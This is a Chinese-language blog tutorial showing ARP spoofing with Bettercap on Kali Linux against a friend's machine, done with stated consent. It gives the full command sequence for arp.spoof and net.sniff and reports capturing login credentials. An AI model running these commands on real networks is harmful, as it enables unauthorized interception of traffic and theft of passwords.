天天看点

[Kail]Arp 伪装实现数据包拦截

系统环境:Kali-Linux

使用工具:Bettercap

写在前面:以下内容均为实验时所截取的过程,受害者机器也是和小伙伴事先说明好才进行攻击的,过程比较顺利,仅做娱乐,切勿将这些技术用于不法途径。

安装 Bettercap

apt install bettercap
           
[Kail]Arp 伪装实现数据包拦截

安装完成后,命令行输入:

bettercap -h
           

查看bettercap能使用的一些指令

[Kail]Arp 伪装实现数据包拦截

使用 ifconfig 指令查看自己的网卡信息,eth0 这张网卡是当前使用的

[Kail]Arp 伪装实现数据包拦截

用指令绑定该网卡,通过help指令查看bettercap的可用指令,最后是模块的启动情况

bettercap -iface eth0
help
           
[Kail]Arp 伪装实现数据包拦截
[Kail]Arp 伪装实现数据包拦截

开启主动探测功能,来探测当前网络下的其他主机ip

arp.probe on
           
[Kail]Arp 伪装实现数据包拦截

此时可以看见 10.66.17.x 该网段下有十台主机在运行,我们选取 10.66.17.60(小伙伴的电脑) 这台主机进行arp欺骗,通过以下指令进行伪装,实现截获受害者发送和收到的数据包

set arp.spoof.fullduplex true
set arp.spoof.targets 10.66.17.60
arp.spoof on
set net.sniff.local true
net.sniff on
           

启动 net.sniff 后,会收到大量的数据包,在控制台里疯狂跳包(如果受害者主机在浏览网页之类的话)

[Kail]Arp 伪装实现数据包拦截

然后让小伙伴进入事先准备好的网站尝试登陆等操作

[Kail]Arp 伪装实现数据包拦截

抓到了如上图所示的一些信息,可以看出小伙伴登陆用的用户名、密码和验证码等信息,本次攻击成功。

结束后记得输入指令让攻击暂停,不然网络一直在抓包会导致网页卡顿等问题

net.sniff off
arp.spoof off